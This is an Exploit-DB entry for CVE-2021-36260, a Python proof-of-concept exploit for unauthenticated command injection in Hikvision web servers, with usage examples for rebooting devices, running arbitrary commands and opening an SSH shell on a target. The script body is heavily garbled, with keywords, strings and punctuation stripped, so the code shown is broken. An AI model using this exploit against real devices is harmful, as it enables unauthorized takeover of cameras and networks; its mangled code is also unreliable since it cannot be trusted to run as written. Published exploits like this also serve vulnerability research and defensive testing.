标题: Hikvision Web Server Build 210702 - Command Injection EDB-ID: 50441 CVE: 2021-36260 类型: WEBAPPS 平台: HARDWARE 发布日期: 2021-10-25 漏洞利用脚本: # Exploit Title: Hikvision Web Server Build 210702 - Command Injection
# Exploit Author: bashis
# Vendor Homepage: https://www.hikvision.com/
# Version: 1.0
# CVE: CVE-2021-36260
# Reference: https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html

# All credit to Watchful_IP

#!/usr/bin/env python3

"""
Note:
1)  This code will _not_ verify if remote is Hikvision device or not.
2)  Most of my interest in this code has been concentrated on how to
    reliably detect vulnerable and/or exploitable devices.
    Some devices are easy to detect, verify and exploit the vulnerability,
    other devices may be vulnerable but not so easy to verify and exploit.
    I think the combined verification code should have very high accuracy.
3)  'safe check' (--check) will try write and read for verification
    'unsafe check' (--reboot) will try reboot the device for verification

[Examples]
Safe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check

Safe and unsafe vulnerability/verify check:
(will only use 'unsafe check' if not verified with 'safe check')
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --check --reboot

Unsafe vulnerability/verify check:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --reboot

Launch and connect to SSH shell:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --shell

Execute command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd "ls -l"

Execute blind command:
    $./CVE-2021-36260.py --rhost 192.168.57.20 --rport 8080 --cmd_blind "reboot"

$./CVE-2021-36260.py -h
[*] Hikvision CVE-2021-36260
[*] PoC by bashis <mcw noemail eu> (2021)
usage: CVE-2021-36260.py [-h] --rhost RHOST [--rport RPORT] [--check]
                         [--reboot] [--shell] [--cmd CMD]
                         [--cmd_blind CMD_BLIND] [--noverify]
                         [--proto {http,https}]

optional arguments:
  -h, --help            show this help message and exit
  --rhost RHOST         Remote Target Address (IP/FQDN)
  --rport RPORT         Remote Target Port
  --check               Check if vulnerable
  --reboot              Reboot if vulnerable
  --shell               Launch SSH shell
  --cmd CMD             execute cmd (i.e: "ls -l")
  --cmd_blind CMD_BLIND
                        execute blind cmd (i.e: "reboot")
  --noverify            Do not verify if vulnerable
  --proto {http,https}  Protocol used
$
"""

 os
 argparse
 time

 requests
 requests  packages
 requestspackages  urllib3
 requestspackagesurllib3  exceptions


 
     self rhost rport proto timeout
        Http self__init__

        selfrhost  rhost
        selfrport  rport
        selfproto  proto
        selftimeout  timeout

        selfremote  
        selfuri  

        
        requestspackagesurllib3disable_warningsrequestspackagesurllib3exceptionsInsecureRequestWarning)

        selfremote  requestsSession

        self_init_uri

        selfremoteheadersupdate
             f
             
             
             
             
             
        
        

     self url query_args timeout

         query_args
            
             query_args  
                f
                 

        
        
             url   query_args
                 selfgeturl timeout
            
                data  selfput query_args timeout
         requestsexceptionsConnectionError
            selfproto    selfproto    
            self_init_uri
            
                 url   query_args
                     selfgeturl timeout
                
                    data  selfput query_args timeout
             requestsexceptionsConnectionError
                 
         requestsexceptionsRequestException
             
         KeyboardInterrupt
             

        

         datastatus_code  
            redirect  dataheadersget
            selfuri  redirectredirectrfind
            self_update_host
             url   query_args
                 selfgeturl timeout
            
                data  selfput query_args timeout

         data

     self
          selfremoteheadersget  selfuriselfurirfind  
            selfremoteheadersupdate
                 selfuriselfurirfind  
            

     self
        selfuri  protoselfproto rhostselfrhost rportselfrport

     self url query_args timeout
        
        query_args   \
                     f
         selfremoteputselfuri  url dataquery_args verify allow_redirects timeouttimeout

     self url timeout
         selfremotegetselfuri  url verify allow_redirects timeouttimeout


 remote args
    
     argsnoverify
        f
         

    f

    data  remotesendurl query_args
     data  
        f
         
     dataheadersget

    data  remotesendquery_args
     data    datastatus_code  
        f
         
    status_code  datastatus_code

    data  remotesendurl query_args
      datastatus_code  
        
         status_code  
            f
             argsreboot
                 check_rebootremote args
        
            f
         

    
     


 remote args
    
     argscheck
        
    
        f
    remotesendquery_args
    timesleep
      remotesendurl query_args
        
         
    
        
         


 remote args
      checkremote args
         
    data  remotesendquery_argsf
     data  
         

    data  remotesendurl query_args
     data     datastatus_code  
        f
         
    datatext
     


 remote args
    
      checkremote args
         
    data  remotesendquery_argsf
     data     datastatus_code  
        f
         
    f
     


 remote args
      checkremote args
         
    data  remotesendurl query_args

     datastatus_code  
        f
        data  remotesendquery_args
         datastatus_code  
            dataheaders
            datatext
             
        remotesendquery_args
        remotesendquery_args
        remotesendquery_args
        remotesendquery_args
    
        f

    f
    ossystemf'stty echo stty iexten stty icanon \
    ssh o StrictHostKeyCheckingno o LogLevelerror o UserKnownHostsFiledevnull \
    P@argsrhost p '


 
    

    parser  argparseArgumentParser
    parseradd_argument required  default 
    parseradd_argument required  default 
    parseradd_argument required default action 
    parseradd_argument required default action 
    parseradd_argument required default action 
    parseradd_argument required  default 
    parseradd_argument required  default 
    parseradd_argument
         required default action 
    
    parseradd_argument
         required  choices  default 
    
    args  parserparse_args

    remote  Httpargsrhost argsrport argsproto

    
         argsshell
            shellremote args
         argscmd
            cmdremote args
         argscmd_blind
            cmd_blindremote args
         argscheck
            checkremote args
         argsreboot
            check_rebootremote args
        
            parserparse_args
     KeyboardInterrupt
         


 __name__  
    main URL: https://www.exploit-db.com/exploits/50441